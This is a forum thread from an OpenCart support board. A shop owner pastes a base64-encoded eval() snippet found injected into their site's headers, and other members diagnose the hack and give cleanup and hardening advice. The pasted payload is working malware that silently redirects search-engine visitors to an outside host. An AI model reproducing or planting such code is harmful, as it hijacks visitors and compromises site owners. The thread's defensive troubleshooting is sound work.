Post by toptshop13 » Thu Sep 05, 2013 9:06 am

I am running version 1.5.6 on a Godaddy hosting account.

I keep getting this error at the top of my site: Notice: Undefined index: HTTP_REFERER .......


When I edit the files I see the following code at the top of all the headers:

eval(base64_decode("CmVycm9yX3JlcG9ydGluZygwKTsKJHFhenBsbT1oZWFkZXJzX3NlbnQoKTsKaWYgKCEkcWF6cGxtKXsKJHJlZmVyZXI9JF9TRVJWRVJbJ0hUVFBfUkVGRVJFUiddOwokdWFnPSRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXTsKaWYgKCR1YWcpIHsKaWYgKCFzdHJpc3RyKCR1YWcsIk1TSUUgNy4wIikgYW5kICFzdHJpc3RyKCR1YWcsIk1TSUUgNi4wIikpewppZiAoc3RyaXN0cigkcmVmZXJlciwieWFob28iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaW5nIikgb3Igc3RyaXN0cigkcmVmZXJlciwicmFtYmxlciIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsIndlYmFsdGEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwiZmFjZWJvb2suY29tL2wiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsKaWYgKCFzdHJpc3RyKCRyZWZlcmVyLCJjYWNoZSIpIGFuZCAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSBhbmQgIXN0cmlzdHIoJHJlZmVyZXIsIkVlWXAzRDciKSl7CmhlYWRlcigiTG9jYXRpb246IGh0dHA6Ly91ZW5ka2drdy5kZG5zLm1lLnVrLyIpOwpleGl0KCk7Cn0KfQp9Cn0KfQ=="));

Does anyone know why this keeps happening, I am forced to do a re-installation every time this happens.

I did change the permissions on both config.php files to "544" but that obviously does not help.

Please help me this is very time consuming :(

Thank you.

Newbie

Posts

Joined
Sun Sep 01, 2013 8:46 pm

Post by MarketInSG » Thu Sep 05, 2013 10:31 am

your website might be infected with something...check your download folder to see if there's anything. remove them.


User avatar
Guru Member

Posts

Joined
Wed Nov 16, 2011 11:53 am
Location - Singapore

Post by Avvici » Thu Sep 05, 2013 7:04 pm

MarketInSG wrote:your website might be infected with something...check your download folder to see if there's anything. remove them.
I see two issues. One, Go Daddy ::) Two, possible infection.

User avatar
Expert Member

Posts

Joined
Tue Apr 05, 2011 12:09 pm
Location - Asheville, NC

Post by MarketInSG » Thu Sep 05, 2013 9:00 pm

ignore the godaddy part first. Fix the infection. It's something that's going on for quite awhile with most opencart installation


User avatar
Guru Member

Posts

Joined
Wed Nov 16, 2011 11:53 am
Location - Singapore

Post by Avvici » Fri Sep 06, 2013 1:15 am

MarketInSG wrote:ignore the godaddy part first. Fix the infection. It's something that's going on for quite awhile with most opencart installation

Lighten up man. I was being funny. You're way too serious lol

User avatar
Expert Member

Posts

Joined
Tue Apr 05, 2011 12:09 pm
Location - Asheville, NC

Post by butte » Fri Sep 06, 2013 1:45 am

Unfortunately, avvici -arvixe- was not entirely kidding about the webhost, which all too often gives OC fits that are resolved by changing webhosts even if you keep that one as registrar (only), but that doesn't cause the odd error.

Hopefully, toptshop13, by "permissions on both config.php files to '544' " you meant to type 644 (otherwise, fix that). Your eval(base64_decode[gibberish] suggests a few things to check, and the "Notice: Undefined index: HTTP_REFERER" (and anything else similar) is not encouraging -- your website does accordingly appear to have been hacked. IF your host provides ModSecurity, then turn that on in your control panel, the feature does block various code signatures of bad guys (both hackers and spammers), and look at the logs from time to time, they'll show you where some of the blocked sociopaths are (some, others, are well hidden behind proxies but they still cannot operate without their suspicious or malicious code signatures). Look in /download/ and delete any weird *.jpg* and route* files in there. If you can reach your non-public /tmp/ directory where sessions are stored, then empty it if you see literally thousands of sessions accumulated at rates from 1 to several per second. You may have runaway sessions, generated by a goofy feed or by either of two goofy engines (one is Russian), and you do not want the host to react to that. If you are not allowed down there, then ask support to empty it for you. You can see in your Apache http traffic logs whether an engine is overdoing it, and you may see zero-byte image files that would indicate a feed gone awry (delete those, they are empty clutter). See whether any of your /vqmod/xml/ files has mysteriously redated itself; if so, set those aside in a subdirectory (setaside/, whatever/). You can try shutting off "seo" extensions by sliding them aside the same way, it happens that some of them just do not work or just do not work together. You can also invite problems by having way too many .xml extensions going at once (you can put only so many drivetrains and steering wheels in one car before you might as well park it). You can try flushing your /vqmod/vqcache/ and your /system/cache/ files, but the error snippet you posted (you trimmed it) does not show "vq" anything in it. Look at your /vqmod/logs/ and your /system/logs/ to see what they say, as well as to see how big they are -- if they are huge, read them, then prune them (you can keep local copies, and delete them on the server, then see how fast they grow). If by chance your /install/ directory is still sitting there, delete it, then change in both config.php files and in the host mysql settings the username and password for the database (the database may not be affected, yet). While you're in there also see whether you have 755 directories and 644 files, and whether you have any odd .name/ directories. If you have any 777 directories and they will not reset or stay reset to 755, or if you have or also have any odd .name/ directories (those would be public and probably 777), then you're already well above "defcon 1" and there is a war going on.

We're a day into this, and you haven't said anything more, yet. Where does it stand now? See PM.

Guru Member

Posts

Joined
Wed Mar 20, 2013 6:58 am

Post by MarketInSG » Fri Sep 06, 2013 8:22 am

avvici -arvixe- wrote:
MarketInSG wrote:ignore the godaddy part first. Fix the infection. It's something that's going on for quite awhile with most opencart installation

Lighten up man. I was being funny. You're way too serious lol
we really need to get the download part fixed. It seems to be infecting many users, and rather serious with it..perhaps a feature to tell them to disable upload or change their download folder url..


User avatar
Guru Member

Posts

Joined
Wed Nov 16, 2011 11:53 am
Location - Singapore

Post by butte » Fri Sep 06, 2013 8:49 am

The free disable_upload.xml by MarketInSG (http://forum.opencart.com/viewtopic.php ... 20#p403255 providing his download http://forum.opencart.com/download/file.php?id=16828) to prevent unauthorized uploading into /download/ evidently works and I actually deploy it as a basic .xml library item. Renaming the directory if it is to be used, or disarming it completely in the event that it is not even needed, adds a further measure of prevention.

Guru Member

Posts

Joined
Wed Mar 20, 2013 6:58 am

Post by Avvici » Fri Sep 06, 2013 10:01 am

:laugh: It's all good. Market is correct. Let's fix the issue first, then direct him to another web host!

User avatar
Expert Member

Posts

Joined
Tue Apr 05, 2011 12:09 pm
Location - Asheville, NC

Post by butte » Sat Sep 07, 2013 6:16 am

The upshot of this is that the opening post above poses what seems from files examined this morning to span India, China, Middle East, Eastern Bloc in the old sense, and Russia, and is active "in the wild" against OC installations having various vulnerabilities that are NOT part of OC itself. It does appear that the ones going in via /download/ are just not very bright, while those a couple of more IQ points above 3 have become mildly savvy to malice.

Having just emerged from winning split-second live combat with a slowly keyboarding hacker while I took command of permissions and eradicated live files and vaporized his toys, I can add something current about the particular kind of error noted at the outset above, eval(base64_decode([gibberish]. There were two files publically addressable via http, quaintly named mls.php and grocery.php, whose identical content was an abutted triplet of long ago deprecated "short-tag" php (beginning <? rather than <?php) strung together as "eval(base64_decode('[...]))); ?><? eval(gzuncompress(base64_decode([...]))); ?><? eval(gzuncompress(base64_decode([...]))); ?>" (respectively about 20%, 20%, and 60% of overall length) on a single line stretching to 10,920 bytes, both dated 2011 May 20. Those were injectors. The .htaccess had earlier been emptied to zero bytes on On 2011 Mar 28 (it was, of course, rearmed this morning.) Two batches of files, 43.7 mb of 3,166 files ranging 2012 Feb. 29 through 2013 Aug. 30, 167.6 mb of 9,998 files ranging 2011 May 20 through 2013 Aug 28, posed names such as "samsung-galaxy-fit-price-in-bangalore.html5" along with the potent handful of "protect.php.html3" and similar bearing among them such commentary as "with such comments inside as, "Injection attacks with similarsecure and if cached similaronce Takes a web pages by just adding one of protect," and "Similarecho obj- gtprinthello shows public, how-to-protect-from-sql-injection-in-php-based-web cached jun," and in some places rerouting to a website in "cz.cc" where strange things go bump in the night or day, alike. Those were double-nested in 777 ".name/" directories which most people would probably miss. The rafts of oddball .html[x] files largely related, in plain as well as intricate ways, to the raft of OC demo image names and were evidently used to force index.php?route into adventures. There were signatures of brute force attack (against barriers), and of mime attack (for private data). In comparison to another incident involving multiples of 40,000 files similarly hidden, this morning's bettered sociopathic village idiot had only 211.4 mb of only 13,164 files total, before adding a few dozen more files in little batches this morning while I watched. The singularly quaint aspect of this morning's incident was a set of files whose extensions were .html\' (backslash being the problem, not the letters or tic) -- which, of course, neither Windows nor Linux fielded very gracefully when I determined to archive and delete them (as it were, ve haff vays).

[While simmering down I'll probably add notes to that through the day.]

The Apache http traffic logs show extensive calls for the now deleted files, and show attempts at entry from cellphones, a popular hacking method in the Middle East and elsewhere. Many, not all, of the deleted files appear to have sprung from India.

Mercifully, the attacks' gibberish engine-distracting files did NOT trigger the safety-check algorithms into "The Letter" which Google WOULD send saying that searchability is shut down till it's cleaned up and resubmitted and then searchability starts all over, again. In the other instance noted above, that consequence had occurred, the algorithms triggered "The Letter" and Google took it off the rolls.

The OC /system/logs/ error log, small at cumulative 62 kb, ranged from 2012-11-29 3:49:14 through this morning, and the content is instructive. As vqmod had not yet been installed, there were no /vqmod/logs/ to examine.

There were few sessions, only 20 in all, all dated 2011 Nov 23-24, all now deleted. Runaway sessions (thousands of them, many times per minute and per second) tend to arrest system administrators' attention and to cause websites to be shut down for repair. Those can spring from hacking, from misconstructed feeds, goofy engines, and other causes.

All /system/cache/ files were flushed in order to remove any residual activity, during the melee and after it was done. That dir had been mis-set to 777 (now back, of course, to 755). The cache helped to perpetuate what was going on and mostly was reset the the prior few hours and days.

Mind what you archive onto your own machine, raw or inside .zip, so as not to put it back onto a server.

Check whether the root php.ini file, notwithstanding whether it has any effect on a given server or not, has been fiddled with after it was first put in place. Interception or on-screen perusal of thrown errors gives hints of server and website organization.

Double-check whether the root Google file is the proper number.

Be certain afterward to reset critical database parameters in a cold-bloodedly sudden switch including control panel and both config.php while all is safely dead in the water (with the shop in Maintenance mode meanwhile). The same holds for renaming /admin/ and /download/ if that is done. A basic means on many servers of passwording /admin/ (via control panel rather than via manually editing control files) requires that it not have its own .htaccess file (the one in root should suffice for what .htaccess itself does, while certain other .ht* files don't get along with it in the same directory).

[Still grumpy.]

Guru Member

Posts

Joined
Wed Mar 20, 2013 6:58 am
Who is online

Users browsing this forum: No registered users and 107 guests